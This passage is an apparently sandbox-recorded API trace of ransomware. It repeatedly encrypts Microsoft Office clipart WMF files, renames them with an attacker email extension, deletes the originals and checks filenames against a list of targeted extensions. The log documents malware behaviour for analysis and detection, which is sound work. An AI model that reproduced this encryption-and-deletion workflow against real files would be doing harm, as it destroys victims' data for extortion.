lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xa6e0, lpOverlapped=0x0) returned 1 [0220.529] ReadFile (in: hFile=0x380, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0220.529] WriteFile (in: hFile=0x358, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0220.529] SetEndOfFile (hFile=0x358) returned 1 [0220.529] CloseHandle (hObject=0x358) returned 1 [0220.529] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0220.529] SetEndOfFile (hFile=0x380) returned 1 [0220.530] CloseHandle (hObject=0x380) returned 1 [0220.531] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0220.531] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf")) returned 1 [0220.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0220.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0220.531] lstrlenW (lpString=".doc") returned 4 [0220.531] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.531] lstrlenW (lpString=".docx") returned 5 [0220.531] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.531] lstrlenW (lpString=".pdf") returned 4 [0220.531] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.531] lstrlenW (lpString=".xls") returned 4 [0220.531] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.531] lstrlenW (lpString=".xlsx") returned 5 [0220.531] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.531] lstrlenW (lpString=".ppt") returned 4 [0220.531] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0220.531] lstrlenW (lpString=".zip") returned 4 [0220.531] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.531] lstrlenW (lpString=".rar") returned 4 [0220.531] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.531] lstrlenW (lpString=".bz2") returned 4 [0220.532] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.532] lstrlenW (lpString=".7z") returned 3 [0220.532] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0220.532] lstrlenW (lpString=".dbf") returned 4 [0220.532] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0220.532] lstrlenW (lpString=".1cd") returned 4 [0220.532] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0220.532] lstrlenW (lpString=".jpg") returned 4 [0220.532] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.532] GetLastError () returned 0x0 [0220.532] ReadFile (in: hFile=0x380, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x1378, lpOverlapped=0x0) returned 1 [0220.623] WriteFile (in: hFile=0x358, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x1380, lpOverlapped=0x0) returned 1 [0220.624] ReadFile (in: hFile=0x380, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0220.624] WriteFile (in: hFile=0x358, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0220.624] SetEndOfFile (hFile=0x358) returned 1 [0220.624] CloseHandle (hObject=0x358) returned 1 [0220.624] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0220.624] SetEndOfFile (hFile=0x380) returned 1 [0220.625] CloseHandle (hObject=0x380) returned 1 [0220.625] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0220.625] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf")) returned 1 [0220.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0220.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0220.626] lstrlenW (lpString=".doc") returned 4 [0220.626] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.626] lstrlenW (lpString=".docx") returned 5 [0220.626] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.626] lstrlenW (lpString=".pdf") returned 4 [0220.626] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.626] lstrlenW (lpString=".xls") returned 4 [0220.626] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.626] lstrlenW (lpString=".xlsx") returned 5 [0220.626] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.626] lstrlenW (lpString=".ppt") returned 4 [0220.626] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0220.626] lstrlenW (lpString=".zip") returned 4 [0220.626] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.626] lstrlenW (lpString=".rar") returned 4 [0220.626] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.626] lstrlenW (lpString=".bz2") returned 4 [0220.626] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.626] lstrlenW (lpString=".7z") returned 3 [0220.626] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0220.626] lstrlenW (lpString=".dbf") returned 4 [0220.626] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0220.626] lstrlenW (lpString=".1cd") returned 4 [0220.627] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0220.627] lstrlenW (lpString=".jpg") returned 4 [0220.627] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.627] GetLastError () returned 0x0 [0220.627] ReadFile (in: hFile=0x380, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0xf7c, lpOverlapped=0x0) returned 1 [0220.664] WriteFile (in: hFile=0x358, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xf80, lpOverlapped=0x0) returned 1 [0220.844] ReadFile (in: hFile=0x380, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0220.844] WriteFile (in: hFile=0x358, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0220.845] SetEndOfFile (hFile=0x358) returned 1 [0220.845] CloseHandle (hObject=0x358) returned 1 [0220.845] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0220.845] SetEndOfFile (hFile=0x380) returned 1 [0220.845] CloseHandle (hObject=0x380) returned 1 [0220.845] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0220.846] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf")) returned 1 [0220.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0220.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0220.846] lstrlenW (lpString=".doc") returned 4 [0220.846] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.846] lstrlenW (lpString=".docx") returned 5 [0220.846] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.846] lstrlenW (lpString=".pdf") returned 4 [0220.846] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.846] lstrlenW (lpString=".xls") returned 4 [0220.846] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.846] lstrlenW (lpString=".xlsx") returned 5 [0220.847] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.847] lstrlenW (lpString=".ppt") returned 4 [0220.847] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0220.847] lstrlenW (lpString=".zip") returned 4 [0220.847] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.847] lstrlenW (lpString=".rar") returned 4 [0220.847] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.847] lstrlenW (lpString=".bz2") returned 4 [0220.847] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.847] lstrlenW (lpString=".7z") returned 3 [0220.847] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0220.847] lstrlenW (lpString=".dbf") returned 4 [0220.847] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0220.847] lstrlenW (lpString=".1cd") returned 4 [0220.847] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0220.847] lstrlenW (lpString=".jpg") returned 4 [0220.847] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.848] GetLastError () returned 0x0 [0220.848] ReadFile (in: hFile=0x380, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x9b8, lpOverlapped=0x0) returned 1 [0220.848] WriteFile (in: hFile=0x358, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x9c0, lpOverlapped=0x0) returned 1 [0220.849] ReadFile (in: hFile=0x380, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0220.849] WriteFile (in: hFile=0x358, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0220.849] SetEndOfFile (hFile=0x358) returned 1 [0220.850] CloseHandle (hObject=0x358) returned 1 [0220.850] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0220.850] SetEndOfFile (hFile=0x380) returned 1 [0220.850] CloseHandle (hObject=0x380) returned 1 [0220.850] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0220.850] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf")) returned 1 [0220.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0220.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0220.851] lstrlenW (lpString=".doc") returned 4 [0220.851] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.851] lstrlenW (lpString=".docx") returned 5 [0220.851] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.851] lstrlenW (lpString=".pdf") returned 4 [0220.851] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.851] lstrlenW (lpString=".xls") returned 4 [0220.851] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.851] lstrlenW (lpString=".xlsx") returned 5 [0220.851] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.851] lstrlenW (lpString=".ppt") returned 4 [0220.851] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0220.851] lstrlenW (lpString=".zip") returned 4 [0220.851] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.851] lstrlenW (lpString=".rar") returned 4 [0220.851] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.851] lstrlenW (lpString=".bz2") returned 4 [0220.851] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.851] lstrlenW (lpString=".7z") returned 3 [0220.851] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0220.851] lstrlenW (lpString=".dbf") returned 4 [0220.852] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0220.852] lstrlenW (lpString=".1cd") returned 4 [0220.852] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0220.852] lstrlenW (lpString=".jpg") returned 4 [0220.852] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.852] GetLastError () returned 0x0 [0220.852] ReadFile (in: hFile=0x380, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x88c, lpOverlapped=0x0) returned 1 [0220.861] WriteFile (in: hFile=0x358, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x890, lpOverlapped=0x0) returned 1 [0220.862] ReadFile (in: hFile=0x380, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0220.862] WriteFile (in: hFile=0x358, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0220.862] SetEndOfFile (hFile=0x358) returned 1 [0220.862] CloseHandle (hObject=0x358) returned 1 [0220.862] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0220.862] SetEndOfFile (hFile=0x380) returned 1 [0220.863] CloseHandle (hObject=0x380) returned 1 [0220.863] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0220.864] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf")) returned 1 [0220.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0220.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0220.864] lstrlenW (lpString=".doc") returned 4 [0220.864] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.864] lstrlenW (lpString=".docx") returned 5 [0220.864] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.864] lstrlenW (lpString=".pdf") returned 4 [0220.864] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.864] lstrlenW (lpString=".xls") returned 4 [0220.864] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.864] lstrlenW (lpString=".xlsx") returned 5 [0220.864] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.864] lstrlenW (lpString=".ppt") returned 4 [0220.864] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0220.864] lstrlenW (lpString=".zip") returned 4 [0220.865] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.865] lstrlenW (lpString=".rar") returned 4 [0220.865] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.865] lstrlenW (lpString=".bz2") returned 4 [0220.865] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.865] lstrlenW (lpString=".7z") returned 3 [0220.865] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0220.865] lstrlenW (lpString=".dbf") returned 4 [0220.865] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0220.865] lstrlenW (lpString=".1cd") returned 4 [0220.865] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0220.865] lstrlenW (lpString=".jpg") returned 4 [0220.865] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.865] GetLastError () returned 0x0 [0220.865] ReadFile (in: hFile=0x380, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x112c, lpOverlapped=0x0) returned 1 [0220.951] WriteFile (in: hFile=0x358, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x1130, lpOverlapped=0x0) returned 1 [0220.952] ReadFile (in: hFile=0x380, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0220.952] WriteFile (in: hFile=0x358, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0220.952] SetEndOfFile (hFile=0x358) returned 1 [0220.952] CloseHandle (hObject=0x358) returned 1 [0220.952] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0220.952] SetEndOfFile (hFile=0x380) returned 1 [0220.953] CloseHandle (hObject=0x380) returned 1 [0220.953] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0220.954] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf")) returned 1 [0220.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0220.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0220.957] lstrlenW (lpString=".doc") returned 4 [0220.957] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.957] lstrlenW (lpString=".docx") returned 5 [0220.957] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.957] lstrlenW (lpString=".pdf") returned 4 [0220.957] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.957] lstrlenW (lpString=".xls") returned 4 [0220.957] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.957] lstrlenW (lpString=".xlsx") returned 5 [0220.957] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.957] lstrlenW (lpString=".ppt") returned 4 [0220.957] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0220.957] lstrlenW (lpString=".zip") returned 4 [0220.957] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.958] lstrlenW (lpString=".rar") returned 4 [0220.958] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.958] lstrlenW (lpString=".bz2") returned 4 [0220.958] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.958] lstrlenW (lpString=".7z") returned 3 [0220.958] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0220.958] lstrlenW (lpString=".dbf") returned 4 [0220.958] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0220.958] lstrlenW (lpString=".1cd") returned 4 [0220.958] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0220.958] lstrlenW (lpString=".jpg") returned 4 [0220.958] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.968] GetLastError () returned 0x0 [0220.968] ReadFile (in: hFile=0x2cc, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x1510, lpOverlapped=0x0) returned 1 [0220.971] WriteFile (in: hFile=0x358, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x1520, lpOverlapped=0x0) returned 1 [0220.972] ReadFile (in: hFile=0x2cc, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0220.972] WriteFile (in: hFile=0x358, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0220.972] SetEndOfFile (hFile=0x358) returned 1 [0220.972] CloseHandle (hObject=0x358) returned 1 [0220.972] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0220.973] SetEndOfFile (hFile=0x2cc) returned 1 [0220.973] CloseHandle (hObject=0x2cc) returned 1 [0220.974] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0220.974] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf")) returned 1 [0220.974] lstrlenW (lpString="C:\\Program Files\\Microsoft 